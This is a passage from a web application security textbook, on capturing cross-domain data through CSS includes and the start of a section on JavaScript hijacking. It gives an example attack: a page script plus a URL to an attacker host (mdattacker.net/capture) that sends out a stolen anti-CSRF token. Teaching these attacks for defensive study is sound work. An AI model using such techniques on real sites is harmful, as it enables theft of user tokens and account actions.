the-web-application-hackers-handbook

Chapter 13 n Attacking Users: Other Techniques 519
then be queried using JavaScript to retrieve the captured data. For example, the
attacker can host a page containing the following:
document.write(‘’);
This page includes the relevant URL from the web mail application as a
stylesheet and then runs a script to query the font-family property, which
has been defined within the web mail application’s response. The value of
the font-family property, including the sensitive anti-CSRF token, is then
transmitted to the attacker’s server via a dynamically generated request for
the following URL:
http://mdattacker.net/capture?%27%3C/td%3E%0D%0A...%0D%0A%3Cform%20
action%3D%22 http%3A//wahh-mail.com/forwardemail%22%20method%3D%22POST%2
2%3E%0D%0A%3Cinput%2 0type%3D%22hidden%22%20name%3D%22nonce%22%20value%3
D%222230313740821%22%3E%0D %0A%3Cinput%20type%3D%22submit%22%20value%3D%
22Forward%22%3E%0D%0A...%0D%0A%3C/ form%3E%0D%0A...%0D%0A%3Cscript%3E%0D
%0Avar%20_StatsTrackerId%3D%27AAE78F27CB32 10D%27
This attack works on current versions of Internet Explorer. Other browsers
have modified their handling of CSS includes to prevent the attack from working,
and it is possible that IE may also do this in the future.
JavaScript Hijacking
JavaScript hijacking provides a further method of capturing data cross-domain,
turning CSRF into a limited “two-way” attack. As described in Chapter 3, the
same-origin policy allows one domain to include script code from another
domain, and this code executes in the context of the invoking domain, not the
issuing domain. This provision is harmless provided that application responses
that are executable using a cross-domain script contain only nonsensitive code,
which is static and accessible by any application user. However, many of today’s
applications use JavaScript to transmit sensitive data, in a way that was not
foreseen when the same-origin policy was devised. Furthermore, developments
in browsers mean that an increasing range of syntax is becoming executable
as valid JavaScript, with new opportunities for capturing data cross-domain.
The changes in application design that fall under the broad “2.0” umbrella
include new ways of using JavaScript code to transmit sensitive data from the
server to the client. In many situations, a fast and efficient way to update the
user interface via asynchronous requests to the server is to dynamically include
script code that contains, in some form, the user-specific data that needs to be
displayed.